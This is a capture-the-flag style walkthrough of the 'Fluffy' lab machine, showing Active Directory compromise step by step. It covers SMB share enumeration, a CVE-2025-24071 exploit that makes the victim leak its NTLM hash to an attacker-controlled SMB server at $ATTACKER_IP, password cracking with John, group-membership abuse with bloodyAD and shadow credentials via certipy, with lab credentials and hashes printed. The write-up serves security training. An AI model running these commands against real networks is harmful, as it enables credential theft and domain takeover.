Fluffy - BXDMAN

Enumerate in SMB#

By using smbmap, list all share folder in Active Directory with the following command:

$ smbmap -H $IP -u 'j.fleischman' -p 'J0elTHEM4n1990!'

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                                                                                        [+] IP: $IP:445       Name: fluffy.htb                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        IT                                                      READ, WRITE
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
[*] Closed 1 connections

ShawnDEvans

smbmap

Dump All File in IT#

From the result, the j.fleischman account has READ & WRITE permission in IT folder, I will dump all file in IT with smbclient by using the following command:

$ smbclient //$IP/IT -U j.fleischman  -c "prompt OFF;recurse ON;mget *"

getting file \Everything-1.4.1.1026.x64.zip [...]
getting file \KeePass-2.58.zip  [...]
getting file \Upgrade_Notice.pdf  [...]
getting file \Everything-1.4.1.1026.x64\everything.exe  [...]
getting file \Everything-1.4.1.1026.x64\Everything.lng  [...]
getting file \KeePass-2.58\KeePass.chm  [...]
getting file \KeePass-2.58\KeePass.exe  [...]
getting file \KeePass-2.58\KeePass.exe.config  [...]
getting file \KeePass-2.58\KeePass.XmlSerializers.dll  [...]
getting file \KeePass-2.58\KeePassLibC32.dll  [...]
getting file \KeePass-2.58\KeePassLibC64.dll  [...]
getting file \KeePass-2.58\License.txt  [...]
getting file \KeePass-2.58\ShInstUtil.exe  [...]
getting file \KeePass-2.58\XSL\KDBX_Common.xsl  [...]
getting file \KeePass-2.58\XSL\KDBX_DetailsFull_HTML.xsl  [...]
getting file \KeePass-2.58\XSL\KDBX_DetailsLight_HTML.xsl  [...]
getting file \KeePass-2.58\XSL\KDBX_PasswordsOnly_TXT.xsl  [...]
getting file \KeePass-2.58\XSL\KDBX_Tabular_HTML.xsl  [...]

Open `Upgrade_Notice.pdf`#

In the file, I found several CVEs listed, as shown below: alt text

CVE-2025-24071#

Overview#

NSFOCUS CERT has detected that Microsoft recently released a security update to address a critical spoofing vulnerability in Windows File Explorer, identified as CVE-2025-24071. This vulnerability has a CVSS score of 7.5, indicating its severity. The issue arises from the implicit trust and automatic file parsing behavior of .library-ms files in Windows Explorer. An unauthenticated attacker can exploit this vulnerability by constructing RAR/ZIP files containing a malicious SMB path. Upon decompression, this triggers an SMB authentication request, potentially exposing the user’s NTLM hash. PoC (Proof of Concept) exploits for this vulnerability are now publicly available, making it a current threat. Affected users are strongly advised to apply the patch immediately to mitigate the risk.

ThemeHackers

CVE-2025-24071

Exploit#

By using the exploit, I created the malicious script by running the following command:

$ python3 ./exploit.py --ip-address $ATTACKER_IP -f ../../IT/Everything-1.4.1.1026.x64/everything

alt text

Next, I will open the smb server with impacket-smbserver by using the following command:

$ sudo impacket-smbserver share . -smb2support

alt text

Next, I will connect to smb server by using the following command:

$ smbclient //$IP/IT -U j.fleischman

alt text

Waiting for the script to run. If it executes successfully, the result will be displayed below:

alt text

Obtain Hash#

p.agila::FLUFFY:aaaaaaaaaaaaaaaa:e32b26ecbdb5193791e946c0420894af:01010000000000000019e4cf7dcddb013483aa73fe5083e600000000010010006200500052004c00440077006f006700030010006200500052004c00440077006f006700020010007100720061004c005600480067005500040010007100720061004c005600480067005500070008000019e4cf7dcddb01060004000200000008003000300000000000000001000000002000005d3b19b69942e86dd02990bb117ca8928f3c52d8cb68d1d7a94b89bc1d7cf4ec0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320031000000000000000000

Crack with JohnTheRipper#

$ john --wordlist=/usr/share/wordlists/rockyou.txt $HASH_FILE

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
prometheusx-303  (p.agila)     
1g 0:00:00:01 DONE (2025-05-25 21:07) 0.7518g/s 3399Kp/s 3399Kc/s 3399KC/s pu8899..prison only
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

P.AGILA Hash#

Username	Password
p.agila	prometheusx-303

Analysis the Bloodhound Query#

From the BloodHound query, I discovered the p.agila has the GenericAll permission on the SERVICE ACCOUNTS group, as show below:

alt text

GenericWrite on Group#

By using BloodyAD, Add p.agila user to SERVICE ACCOUNTS Group, by using the following command:

$ bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u 'p.agila' --dc-ip $IP -p 'prometheusx-303' add groupMember 'SERVICE ACCOUNTS' 'p.agila'

[+] p.agila added to SERVICE ACCOUNTS

Query User in `SERVICE ACCOUNTS` group#

$ bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u 'p.agila' --dc-ip $IP -p 'prometheusx-303' get object 'SERVICE ACCOUNTS' --attr member

distinguishedName: CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
member: [...] CN=Prometheus Agila,CN=Users,DC=fluffy,DC=htb; [...]

GenericWrite on User Abuse#

There are many practical ways to abuse the GenericWrite permission, such as ChangePassword, Shadow Credential, TargetKerberoasting, and other. However, in the real world, you should avoid changing the password of other users because, in Active Directory, there are many dependencies. For example, a user whose name starts with svc is typically used by a service. Changing their password could cause the service to break.

In this case, it was found the SERVICE ACCOUNTS has GenericWrite to CA_SVC, WINRM_SVC, and LDAP_SVC, as shown below:

alt text

Enumerate User#

It was found that WINRM_SVC is a member of the Remote Management Users group, which means this user can remotely access the server, as shown below: alt text

Shadow Credential Abuse #

By using the certipy for making the shadow crendential by using the following command:

$ certipy-ad shadow auto -username "p.agila@fluffy.htb" -p 'prometheusx-303' -account 'winrm_svc' -target $IP -dc-ip $IP

alt text

ly4k

Certipy